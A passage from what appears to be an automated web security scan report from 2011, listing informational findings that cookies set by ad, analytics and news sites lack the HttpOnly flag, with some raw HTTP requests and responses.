ccl=o0JDZigmoxjGq4faAakjdzf+SDos/qxMImKNNXzeWaYOxMaPNptafyWx0d3VeuJok0iL5oPgARAsNKzD/lGHKsqzcfgzakpApHj1yOh9QFVeDBVsCoCF1yzx/qJ72p20Q2z+scXUWYaQpe18dqoMPKEQt+KE154QIzOTquzy6o9P2pFaShF1R9yWFPh+t7UKuQNqPgvAtq/qHSQ1gheM4Qm7uA51Jb/zI5mknt89A4DzW0rvu9vHLuyVIlrhOerIpqNGyqRTn+JlMgPYZ0UWnxL/orDperxeGsR9nr0RGY/NqZQhA625WU495FyqfGVaDZ1gYUHlGAGfBIbP+u9SznrjPNwdbTMpdClyEj78u+3wgC+kFNxUEj0UOxTE7QLryGJAydtdDuhWBJ0mXsaIA4qzs68oVHsCs/MParNLVAc+61MtTQykBGDexv31Xuco5NnY6k/vSs1sGIQRXrJkRlIh6r6sYLI9w+48t/knijuCpjoMtpjJqAumnCy1hWF+WHA4ClXfT7d8pobXilqpZd5wagvkv/PSGARBKvZH1FjtH3PktBVDjEIrfTSf65VJ; path=/; domain=.apple.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.52. http://images.apple.com/ipod/images/gradient_texture20100901.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.apple.com
Path:	/ipod/images/gradient_texture20100901.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; path=/; domain=.apple.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.53. http://js.revsci.net/common/pcx.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/common/pcx.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

rsi_segs__1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lFtlR8qmZ5EYm2QQMyGpObby6k1VtBuHgxs0lUA6gb/nSJMHQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:12:11 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.54. http://jtools.smartmoney.com/marketspectrum/spectrumServer previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jtools.smartmoney.com
Path:	/marketspectrum/spectrumServer

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:31:51 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /marketspectrum/spectrumServer?action=mapData&src=update&time=1305368104283&jsoncallback=jQuery151023836345155723393_1305368029711&_=1305368212574 HTTP/1.1
Host: jtools.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.3.10.1305368018; NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:16:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Content-Length: 803
Set-Cookie: NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:31:51 GMT;path=/

jQuery151023836345155723393_1305368029711({"timeInfo":{"timestamp":"6:16am EDT, 5/14/2011","stamp":"1305368164281"},"update":[{"name":"HEALTH CARE","value":"-0.21","size":"1970454016000"},{"name":"FIN
...[SNIP]...

15.55. http://jtools.smartmoney.com/portfolio2/hp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jtools.smartmoney.com
Path:	/portfolio2/hp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

NSC_tnz-ksvo-iuuq=ffffffff09f93b9a45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:33:49 GMT;path=/
NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:33:49 GMT;path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /portfolio2/hp?portfolioID=&callback=jQuery15106331928954459727_1305368019976&_=1305368020169 HTTP/1.1
Host: jtools.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.1.10.1305368018; s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:18:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:18:51 GMT
Set-Cookie: NSC_tnz-ksvo-iuuq=ffffffff09f93b9a45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:33:49 GMT;path=/
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/javascript
Content-Length: 34
Set-Cookie: NSC_tnz-ksvo-iuuq=ffffffff09f93b9c45525d5f4f58455e445a4a423660;expires=Sat, 14-May-2011 10:33:49 GMT;path=/

hpportv01({"ERROR": "no user"});

15.56. http://l.sharethis.com/pview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.sharethis.com
Path:	/pview

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

__stid=Cs8yN03OVuknhnUGjLFDAg==; expires=Sun, 13-May-12 10:18:17 GMT; domain=.sharethis.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.57. http://leadback.advertising.com/adcedge/lb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://leadback.advertising.com
Path:	/adcedge/lb

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

C2=pTlzNFJwIob0FAH; domain=advertising.com; expires=Mon, 13-May-2013 10:09:45 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.58. http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.apple.com
Path:	/b/ss/applesuperglobal/1/H.20.3/s79162857956252

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26E7304985161FD4-600001A160013281[CE]; Expires=Thu, 12 May 2016 10:59:31 GMT; Domain=.apple.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.59. http://metrics.mcafee.com/b/ss/mcafeecomglobal/1/H.21/s81213273680768 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.mcafee.com
Path:	/b/ss/mcafeecomglobal/1/H.21/s81213273680768

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26E73DB0051D2A7B-6000013160066322[CE]; Expires=Thu, 12 May 2016 12:53:52 GMT; Domain=.mcafee.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.60. http://mp.apmebf.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

S=g14vo-45643-1305367958329-7l; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:38 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.61. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 11:03:00 GMT; Path=/
tick=1305370980045; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:51:00 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
recs-1b902b0c3e91a142af579c9a1b772b7e=9+pXmi4UnYODaNkLiQJRTzc+tfBhxbGTKlTxHRwOPWYcrfHJ5vn5isxecxZDeaQ2; Domain=outbrain.com; Expires=Sat, 14-May-2011 11:08:00 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&settings=true&recs=true&widgetJSId=SB_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fburp%2Fshow%2F0&apv=false&rand=0.47279576770961285&sig=favCfvwm HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tick=1305368175668; _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; _lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqBEDkfXDh08YPBOrz61pK5EjfpK3VyZNskxjpIeyuEfU="; _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; obuid=8212382c-a920-4555-8b81-259021933018

Response

15.62. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:27:02 GMT; Path=/
tick=1305368822937; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqzvrUYdHwZM8="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:15:02 GMT; Path=/
_rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
recs-4b72c754922b6d1a58711a223d14f3d1=9+pXmi4UnYODaNkLiQJRT8mHyWW89JP8KlTxHRwOPWb2R4KYf4a8Q1JFtJVCIyt1; Domain=outbrain.com; Expires=Sat, 14-May-2011 10:32:02 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&settings=true&recs=true&widgetJSId=SB_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fwww.marketwatch.com%2F&apv=false&rand=0.26482874248176813&sig=dRKXITIV HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tick=1305368043777; _lvs2="uaMqgoSgWEvSk/LwfgN5JQ=="; _lvd2=e0MjrHqXH8wCQxDytJnB4CIbs9PCiM04; _rcc2="c5YqA63GvjSl+Ov6ordflA=="; recs-4f1ee888c9bcafd81af856a18a8cd37f="NSo8NrhUT+oopiezZu7hfJb/BwY0o/kY083N2eo5Bm7/agc3hhg3AFKQLEJCGxUZmgb4H+p4HQoiJivwCV7gHFAfKyX8brzE4bFP59hhbQyy1rXFnrYX1xWWw3q8h9qBUw3tIqhstFZ5WOXcO9UcZQ=="; obuid=8212382c-a920-4555-8b81-259021933018

Response

15.63. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:58 GMT; Path=/
tick=1305368638239; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEvSk/LwfgN5JQ=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
_lvd2=e0MjrHqXH8wCQxDytJnB4CIbs9PCiM04; Domain=outbrain.com; Expires=Fri, 20-May-2011 23:11:58 GMT; Path=/
_rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
recs-4f1ee888c9bcafd81af856a18a8cd37f="H76Y4BziB30xaXmI4IDCs0QKGoX1//Uy+q2wFFnnK1YlqrxR1/mo1sHQF+x3qEj2MlftqQ2aJLKWNbP7yVoYII9zwRAPy4Ef7MEICG10g7G3qsvqkzogEfq1xBnVcvf37plajFK9+RZ5WOXcO9UcZQ=="; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:28:58 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.64. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:36:00 GMT; Path=/
tick=1305369360028; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:24:00 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
recs-552c206c78a66735ab9968f134308236="9+pXmi4UnYMpAI1qmKoEAh30z3NEqV/lFe4SFpYL2kv2R4KYf4a8Q1JFtJVCIyt1"; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:41:00 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.65. http://odb.outbrain.com/utils/ping.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/ping.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:21 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.66. http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://om.dowjoneson.com
Path:	/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26E72A64851D26AC-40000101E0047CEC[CE]; Expires=Thu, 12 May 2016 10:09:13 GMT; Domain=.dowjoneson.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.67. http://online.barrons.com/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/home

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

djcs_route=c20c07b7-939d-4137-925c-3385a1912e5d; domain=.barrons.com; path=/; Expires=Tue May 11 06:12:51 2021; max-age=315360000

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.68. http://p.opt.fimserve.com/bht/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://p.opt.fimserve.com
Path:	/bht/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

LO=00F461Omm00000f500H; Domain=.opt.fimserve.com; Expires=Sat, 13-Aug-2011 10:09:19 GMT; Path=/
UI=2b0be11773fa52a04|f..9.f.f.f.f@@f@@f@@f@@f@@f@@f; Domain=.opt.fimserve.com; Expires=Tue, 11-May-2021 10:09:19 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.69. http://pix04.revsci.net/G07608/a4/0/0/pcx.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/a4/0/0/pcx.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lFtlR8qmZ5EYm2QQMyGpObby6k1VtBu3o3t0FcD6Ab/nUZMFQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:09:14 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.70. http://pix04.revsci.net/G07608/b3/0/3/1008211/103680847.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/103680847.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lJtlR8qmZ5EYm2QQMyGpObby6k1VtCuXQzvUpaCKDYPZg3Dc9LyTfYmP4bXjGyehZIFSA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:15:05 GMT; Path=/
NETID01=7bd2c1a6996f5329127d99d33d99f8df; Domain=.revsci.net; Expires=Wed, 06-May-2043 10:15:05 GMT; Path=/
udm_0=MLvv7lHuIS5n5S4sU8S4mMtr4h7j4I2lLsAE4zRrowADCEP9pDbMkAS/AleDChW8+GU6DJV/mXXCvuPvTbVvEATU9h90SDLlZOfWjtWig78duo8runm9lh82PUNyS2fGKsPZZlZdvIPk8wA3CBg2CxM4rrLR6gKdlJL+IORqPkwhtIYrSO1YV1NBtrRVpe3swd0UwkvIl9i1M5uKt5yniCyqaXw0a1JX4qXJ/hw2nKpvRb4asvrJkiBnqcpLdD5gdl2kt37DRe44BpuXi4fokPCaLVaWzIq5ufydYbMm9P66qGLXsYW6pLYHASVODs5MLGnqaeonJ4kcVVYuRCjZrdb9t8hfOuSjORkUuX1twlOcUQpKH4odzZTFwqJ0vV/UeLn8gBmi8+iaxuJ1uHryDpkm9/xwIaPpzjNK3NS5lyTKkwEupDoLu7b758Lj2SQvUEjHXzhsuRaNwNk3/9RC6k2jVrKNV/PJsWBTC7c2BDyd7W6lNNq2AdEWYmDHH59QLjV1fwl0JiQ2EkXnHT0EsrXF1X5TlhWVkbKe0eOB7xO5Hqbmz5zYlFoqdJda35kXLN6pLQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:15:05 GMT; Path=/
rtc_dNQA=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFYGEiEXDN; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:15:05 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.71. http://pix04.revsci.net/G07608/b3/0/3/1008211/128779481.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/128779481.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw9v0FUAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQqu8YA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:20 GMT; Path=/
rtc_FW9b=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BcwohNunBFEGgdlg06eD02cW8HFwQqcKIgsL1ndA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:20 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.72. http://pix04.revsci.net/G07608/b3/0/3/1008211/263206907.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/263206907.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLYIUlVH27L0vfkK6m6jxmVeJWtwf0wDT7Fu8GN7lxA3D8lCxEXQkfMaVTlxu/fSGzXIpsZZc8j0XeTXtZc28GQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:57:23 GMT; Path=/
rtc_MrVW=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ0BewogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjegghw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:57:23 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.73. http://pix04.revsci.net/G07608/b3/0/3/1008211/297502058.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/297502058.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw5s0lQBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ768aQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/
rtc_fOBM=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BYwohNunBFEGgdlg06eD02cW8HFwQqcKIgsPVndg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.74. http://pix04.revsci.net/G07608/b3/0/3/1008211/317069095.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/317069095.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX07t0NcAKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ268Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/
rtc_BU5f=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BbwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjBggjQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.75. http://pix04.revsci.net/G07608/b3/0/3/1008211/382438596.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/382438596.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

